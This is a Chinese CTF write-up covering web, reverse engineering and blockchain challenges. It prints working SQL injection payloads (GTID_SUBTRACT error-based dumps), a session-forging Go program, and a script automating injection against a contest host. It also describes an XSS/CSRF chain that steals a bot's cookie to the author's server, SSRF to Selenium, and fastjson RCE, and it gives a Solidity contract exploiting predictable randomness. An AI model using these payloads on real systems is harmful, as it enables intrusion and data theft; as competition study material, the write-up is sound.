感谢blue-lotus的大师傅们带来的精彩的比赛!

[TOC]

Web

checkin

注意到是1.7.2的beego框架,版本较低。

有文件上传且知道上传目录

参考https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html

伪造session,poc:

package main

import (
    "bytes"
    "encoding/gob"
    "encoding/hex"
    "fmt"
    "io/ioutil"
    "os"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
    for _, v := range obj {
        gob.Register(v)
    }
    buf := bytes.NewBuffer(nil)
    err := gob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err
}

func main() {
    var uid int64 = 1
    obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "username": "w1nd"}
    data, err := EncodeGob(obj)
    if err != nil {
        fmt.Println(err)
    }
    err = ioutil.WriteFile("test.png", data, 0777)
    if err != nil {
        fmt.Println(err)
    }
    edata := hex.EncodeToString(data)
    fmt.Println(edata)
}

但是这里有个问题,username不能乱搞,需要是admin,辣鸡w1nd是拿不到flag的

babySQLiSPA

访问http://47.93.100.42:9999/static/js/main.dfa730c5.js.map

发现里面有两个比较可疑的函数searchHints()和getCaptcha()

发现两个新api: /api/hints, /api/captcha

访问看看

又要爆破md5,有点麻烦,用@Klaus 师傅的彩虹表写个脚本

#!/usr/bin/python

import sqlite3
import sys
import requests

url='http://47.93.100.42:9999/api/captcha'
cookies={'koa.sid':'3a_l8xubuawJnYDcJ4mLQCpXqf9fQwT9','koa.sid.sig':'BROQFXCmmON-P5h3AcfeZIe4FTk'}

urll='http://47.93.100.42:9999/api/hints'

result=requests.get(url=url,cookies=cookies).text
print(result[-8:-2])
captcha_input=result[-8:-2]

conn = sqlite3.connect('/md5_567.db')

c=conn.cursor()

payload=sys.argv[1]

s=c.execute("select * from t_0_6 where md5='"+captcha_input+"';")

for i in s:
    print i[1]
    captcha=i[1]

data={'captcha':captcha,'hint':payload}

result=requests.post(url=urll,data=data,cookies=cookies).text

print result

发现开启了报错,但是fuzz了常见的报错注入函数发现都被过滤了

https://www.zhihu.com/appview/p/26316761

直到看到这篇文章

太强了

但是还有一个问题就是 有长度限制是140,直接注出来的表名都很长,加上表名会超长,猜测flag在一个表名较短的表里

a'||GTID_SUBTRACT((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),'a')#

发现是报错函数有长度限制,用reverse()把后面的打印出来

a'||GTID_SUBTRACT((reverse((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))),'a')#

发现果然flag就在一个表名短的表里面

注表名,然后发现payload刚好140个字...

'||GTID_SUBTRACT((select(group_concat(column_name))from(information_schema.columns)where(table_name='vhEFfFlLlLaAAaaggIiIIsSSHeReEE')),'a')#

注出flag

'||GTID_SUBTRACT((select(ZSLRSrpOlCCysnaHUqCEIjhtWbxbMlDkUO)from(vhEFfFlLlLaAAaaggIiIIsSSHeReEE)),'a')#

SEAFARING1

在robots.txt发现/admin/handle_message.php

尝试post csrf token

猜测xss,发现过滤了/

果然有反射型xss

再尝试post正确的csrf token

再看页面上有一个contact.php 发现有bot会访问服务器

想到反射型xss+csrf:在服务器上写一个自动提交的表单让bot访问,触发反射型xss,xss打回管理员cookie:

//会被转义成\/\/,但是可以利用浏览器畸形解析特性,用\/tx.w1nd.top也是可以发出请求的

试试打BOT cookie

登录,并在admin/index.php发现有丶东西

经过测试发现单引号被转义了,一番测试,最后找到status参数,数字型注入

常规操作拿到flag

SEAFARING2

只能说因为某些原因这题没拿到flag吧,可惜了

登录admin之后会在contact看到

在SEAFARING1我们可以控制数据库了,尝试load_file读一下源码

明显ssrf

扫描到内网http://172.20.0.2:4444
跑了java selenium Remote Server服务

查一下手册

https://github.com/SeleniumHQ/selenium/wiki/JsonWireProtocol

参考

http://www.coffeehb.cn/?id=92

可以通过restful api 控制 浏览器,那思路很明确了,file://协议任意文件读取+网页截图应该就能看到flag

但是创建session要POST请求

尝试了用bot自己的session发现不行

选择自己用gopher发送POST生成session,但是

打一条payload等500秒,而且等来的还很可以是个Runtime Error...认了,放弃了。

赛后问了一下一血大佬@zzm ,原来是这种操作:

在url最后面打上一串0,就可以从500秒变成2秒……..绝了.jpg

然后就按照一开始的思路走就可获得flag

babyweb

赛后补题ORZ….题目打开发现功能点很少,鸡肋的登录和一个search功能

那么考点应该在search处,抓包发现会传入一个sort参数,那么很明显是order by注入,这里第一个坑点是数据库不是mysql,导致我一直用mysql的payload打浪费了很长时间,后来发现了一个差异,这里无论order by后面是True 或者False都有回显不符合mysql特性,这才反应过来可能是别的数据库

测试了一下current_database()发现有回显,所以应该是postgresql,但是题目是HQL导致你无法union,测试了一下发现if,case when也用不了,后来发现可以用concat绕过

注入出admin密码15676543456,进了后台并没有看到flag,看了一下网络api,发现有个fastjson

猜测是fastjson那个rce,这里测试了好多exp都不能用,最后找到一个可以用的

把Poc.java编译成.class字节码并base64转储为文件

得到payload

所以最后payload

发包,getshell

Re

easypt

IDA打开,发现fork了一个进程,子进程只执行了一个exec的命令,父进程执行了一个perf_event_open,注释如下:

if ( pid )
{
  end_tag = 0xBEEFC0DE;
  v10 = 0LL;
  cpuset.__bits[0] |= 1uLL;
  if ( sched_setaffinity(pid, 0x80uLL, &cpuset) == -1 )     //设置进程只在一个CPU上执行
    perror("sched_setaffinity");
  close(pipedes[0]);
  sys_fd = trace_1(pid);                                    //设置perf_event_open 1
  mmap_fd(sys_fd, (__int64)output_data);                    //记录trace文件
  v9 = trace_2();                                           //设置perf_event_open 2
  mmap_fd_2(v9, sideband_data);                             //记录trace文件
  write(pipedes[1], &end_tag, 4uLL);                        //开启子进程
  close(pipedes[1]);
  waitpid(pid, &stat_loc, 0);                               //等待进程
  check_finish_status(sys_fd);
  printf("pid = %d\n", (unsigned int)pid);
  write_head(output_data);
  write_package((struct perf_event_mmap_page *)output_data);
  write_sideband((struct perf_event_mmap_page *)sideband_data);
  result = 0LL;                                             //写文件
}

猜测pt是子进程执行的文件,而packet和sideband是perf_event_open写入的记录文件

pt文件很简单,打开一个flag文件进行爆破

根据sub_400B23的字符串 open("/sys/bus/event_source/devices/intel_pt/type", 0);

简单搜索下发现了这几个项目

https://github.com/01org/processor-trace/blob/903b1fdec1e6e7b7d52e83c9f26cc48efffda8ee/doc/howto_capture.md

https://github.com/torvalds/linux/blob/master/tools/perf/Documentation/intel-pt.txt

https://github.com/andikleen/simple-pt

装了一下processor-trace下的ptdump解码packet

ptdump --no-pad --no-cyc --no-timing --pt packet

里面记录看不懂,行⑧,RTFM

https://software.intel.com/en-us/download/intel-64-and-ia-32-architectures-sdm-combined-volumes-1-2a-2b-2c-2d-3a-3b-3c-3d-and-4

4027页 Chapter 35

大概知道tnt包用于记录条件短跳(jnz jg之类的),tip用于记录长跳地址,tip.pgd和tip.pge用于关闭和开启跳转记录。其中短跳的记录格式是记录最后几次跳转的,这里的记录都是tnt.8,用于记录8次跳转结果

还有一个示例

可以看到tnt记录了所有的条件跳转,并用1和0标识该跳转是否成功(但没有jmp)

最后的执行结果会把之前的tnt结果合并成一个8位的tnt包

而长跳之类的跳转都用TIP包记录

查看packet包,可以在里面发现400开头的地址,跟踪几个后发现记录了pt程序内的地址

具体的几个函数和在packet包内的地址如下

34bf    start
35c7    csu_init
3607    main
36ff    400716  ret from open
37a7    40072d ret from lseek
52e7    4007cc ret from strlen

发现接下来的结果是一堆tnt包大概是这样的:

00000000000052f1  tnt.8      !!.!.!
00000000000052f4  tnt.8      .!.!.!
00000000000052f7  tnt.8      .!.!.!
00000000000052f9  tnt.8      .!.!.!
00000000000052fb  tnt.8      .!.!.!
00000000000052fd  tnt.8      .!.!.!
00000000000052ff  tnt.8      .!.!.!
0000000000005301  tnt.8      .!.!.!
0000000000005303  tnt.8      .!.!.!
0000000000005305  tnt.8      .!.!.!
0000000000005307  tnt.8      .!.!.!
0000000000005309  tnt.8      .!.!.!
000000000000530b  tnt.8      .!.!.!
000000000000530d  tnt.8      .!.!.!
000000000000530f  tnt.8      .!.!.!
0000000000005311  tnt.8      .!.!.!

猜测这就是用于爆破flag的函数执行过程。查看strlen调用后对应的汇编

.text:00000000004007CC                 mov     [rbp+var_14], eax
.text:00000000004007CF                 mov     [rbp+var_1C], 0
.text:00000000004007D6                 jmp     short loc_400809     ; tnt包不记录
.text:00000000004007D8 ; ---------------------------------------------------------------------------
.text:00000000004007D8
.text:00000000004007D8 loc_4007D8:                             ; CODE XREF: main+72↓j
.text:00000000004007D8                 mov     [rbp+var_18], 20h
.text:00000000004007DF                 jmp     short loc_4007FC     ; tnt包不记录
.text:00000000004007E1 ; ---------------------------------------------------------------------------
.text:00000000004007E1
.text:00000000004007E1 loc_4007E1:                             ; CODE XREF: main+63↓j
.text:00000000004007E1                 mov     rdx, [rbp+s]
.text:00000000004007E5                 mov     eax, [rbp+var_1C]
.text:00000000004007E8                 cdqe
.text:00000000004007EA                 add     rax, rdx
.text:00000000004007ED                 movzx   eax, byte ptr [rax]
.text:00000000004007F0                 movsx   eax, al
.text:00000000004007F3                 cmp     eax, [rbp+var_18]
.text:00000000004007F6                 jz      short loc_400804     ; tnt包记录 爆破成功判断
.text:00000000004007F8                 add     [rbp+var_18], 1
.text:00000000004007FC
.text:00000000004007FC loc_4007FC:                             ; CODE XREF: main+42↑j
.text:00000000004007FC                 cmp     [rbp+var_18], 7Eh
.text:0000000000400800                 jle     short loc_4007E1     ; tnt包记录 内层for判断
.text:0000000000400802                 jmp     short loc_400805
.text:0000000000400804 ; ---------------------------------------------------------------------------
.text:0000000000400804
.text:0000000000400804 loc_400804:                             ; CODE XREF: main+59↑j
.text:0000000000400804                 nop
.text:0000000000400805
.text:0000000000400805 loc_400805:                             ; CODE XREF: main+65↑j
.text:0000000000400805                 add     [rbp+var_1C], 1
.text:0000000000400809
.text:0000000000400809 loc_400809:                             ; CODE XREF: main+39↑j
.text:0000000000400809                 mov     eax, [rbp+var_1C]
.text:000000000040080C                 cmp     eax, [rbp+var_14]
.text:000000000040080F                 jl      short loc_4007D8     ; tnt包记录 外层for判断
.text:0000000000400811                 mov     eax, 0
.text:0000000000400816                 mov     rcx, [rbp+var_8]
.text:000000000040081A                 xor     rcx, fs:28h
.text:0000000000400823                 jz      short locret_40082A
.text:0000000000400825                 call    ___stack_chk_fail
.text:000000000040082A ; ---------------------------------------------------------------------------
.text:000000000040082A
.text:000000000040082A locret_40082A:                          ; CODE XREF: main+86↑j
.text:000000000040082A                 leave
.text:000000000040082B                 retn

可以看出如果还爆破过程中,即在进行内层循环时,每次循环tnt包应该记录两个跳转:内层for判断和爆破成功判断。而如果爆破成功,会记录3次跳转后转到下一字节的爆破中(内层for跳转为真,爆破成功跳转为真,外层for跳转为真),因此可以直接提取这块数据写脚本跑

flow = ""
f = open("flow.txt","r")
while True:
    tmp = f.readline()
    if tmp != "":
        flow += tmp.rstrip()
    else:
        break

flow = flow[1:]
length = len(flow)
i = 0
j = ord(' ')
res = []
while i < length-1:
    if flow[i] == '!' and flow[i+1] == '.':
        j += 1
        i += 2
    else:
        res.append(chr(j))
        j = ord(' ')
        i += 3

print "".join(res)

Blockchain

EOSGame

拿到源码,查看合约的主体

contract EOSGame{

    using SafeMath for uint256;
    mapping(address => uint256) public bet_count;
    uint256 FUND = 100;
    uint256 MOD_NUM = 20;
    uint256 POWER = 100;
    uint256 SMALL_CHIP = 1;
    uint256 BIG_CHIP = 20;
    EOSToken  eos;

    event FLAG(string b64email, string slogan);

    constructor() public{
        eos=new EOSToken();
    }

    function initFund() public{
        if(bet_count[tx.origin] == 0){
            bet_count[tx.origin] = 1;
            eos.mint(tx.origin, FUND);
        }
    }

    function bet(uint256 chip) internal {
        bet_count[tx.origin] = bet_count[tx.origin].add(1);
        uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
        uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
        uint256 shark = seed_hash % MOD_NUM;
        uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[tx.origin])));
        uint256 lucky = lucky_hash % MOD_NUM;
        if (shark == lucky){
            eos.transfer(address(this), tx.origin, chip.mul(POWER));
        }
    }

    function smallBlind() public {
        eos.transfer(tx.origin, address(this), SMALL_CHIP);
        bet(SMALL_CHIP);
    }

    function bigBlind() public {
        eos.transfer(tx.origin, address(this), BIG_CHIP);
        bet(BIG_CHIP);
    }

    function eosBlanceOf() public view returns(uint256) {
        return eos.eosOf(tx.origin);
    }

    function CaptureTheFlag(string b64email) public{
        require (eos.eosOf(tx.origin) > 18888);
        emit FLAG(b64email, "Congratulations to capture the flag!");
    }
}

一个简单的赌博游戏,显然这里的随机数是可预测的,因为取的仅仅是区块号与时间戳,而用户方面则是取了bet的次数作为输入,同时注意到里面还有smallBlindbigBlind来提供不同的下注额度,small仅需1 token,而big则需要20 token,猜对的奖励则是赌注的100倍,看到这里我的想法就是拿smallBlind来更新我们的bet_count,当bet_count满足需求时再使用bigBlind,写一个简单的攻击合约

contract attack {
    EOSGame target = EOSGame(0x804d8B0f43C57b5Ba940c1d1132d03f1da83631F);
    function pwn() public {
        for (uint i=target.bet_count(your account)+1;i<target.bet_count(your account)+21;i++){
            uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
            uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
            uint256 shark = seed_hash % 20;
            uint256 lucky_hash = uint256(keccak256(abi.encodePacked(i)));
            uint256 lucky = lucky_hash % 20;
            if (shark == lucky){
            target.bigBlind();
            break;
        }
        else{
            target.smallBlind();
        }
        }
    }
}

因为bet中的模数为20,所以这里循环的次数我也就设置为20,满足bigBlind的要求后即break,这样一次的收益差不多在2000左右,因为getflag所需的token为18888,感觉也没必要写脚本跑,手动调用就可以了。

不过拿了一血后看了一下后面的师傅们的做法,发现很多人都选择了直接暴力调用bigBlind函数,合约的交易池急剧增长,这也是将题目部署在测试链的弊端,很容易就被别人抄作业了。我又看了一眼合约,确实,赢一次的奖励太丰厚,20直接变2000,够用100次的,而成功一次的尝试次数的期望则为20次,怎么着都是不亏的,所以直接暴力跑交易即可,题目设计上可能还是欠了考虑。而且即使是用这种做法感觉也是写个合约循环跑比较方便,不知为何大家都选择了直接发交易,可能是前几次比赛薅羊毛留下的后遗症吧。

Fake3D

拿到源码,看看合约的主体部分

contract WinnerList{
    address public owner;
    struct Richman{
        address who;
        uint balance;
    }

    function note(address _addr, uint _value) public{
        Richman rm;
        rm.who = _addr;
        rm.balance = _value;
    }

}

contract Fake3D {
    using SafeMath for *;
    mapping(address => uint256)  public balance;
    uint public totalSupply  = 10**18;
    WinnerList wlist;

    event FLAG(string b64email, string slogan);

    constructor(address _addr) public{
        wlist = WinnerList(_addr);
    }

    modifier turingTest() {
            address _addr = msg.sender;
            uint256 _codeLength;
            assembly {_codeLength := extcodesize(_addr)}
            require(_codeLength == 0, "sorry humans only");
            _;
    }

    function transfer(address _to, uint256 _amount) public{
        require(balance[msg.sender] >= _amount);
        balance[msg.sender] = balance[msg.sender].sub(_amount);
        balance[_to] = balance[_to].add(_amount);
    }


    function airDrop() public turingTest returns (bool) {
        uint256 seed = uint256(keccak256(abi.encodePacked(
            (block.timestamp).add
            (block.difficulty).add
            ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
            (block.gaslimit).add
            ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
            (block.number)
        )));

        if((seed - ((seed / 1000) * 1000)) < 288){
            balance[tx.origin] = balance[tx.origin].add(10);
            totalSupply = totalSupply.sub(10);
            return true;
        }
        else
            return false;
    }

   function CaptureTheFlag(string b64email) public{
        require (balance[msg.sender] > 8888);
        wlist.note(msg.sender,balance[msg.sender]);
        emit FLAG(b64email, "Congratulations to capture the flag?");
    }

}

看样子似乎又是一个随机数预测,其中的turingTest可使用合约的构造函数绕过,至于下面的空投函数,我们可以看到只有其中的msg.sender是我们可控的,其他的都是区块信息,也就是说每个发送者在每个区块中能否中奖是确定的。

有意思的是seed中使用的是msg.sender,到了下

源链接

Hacking more

...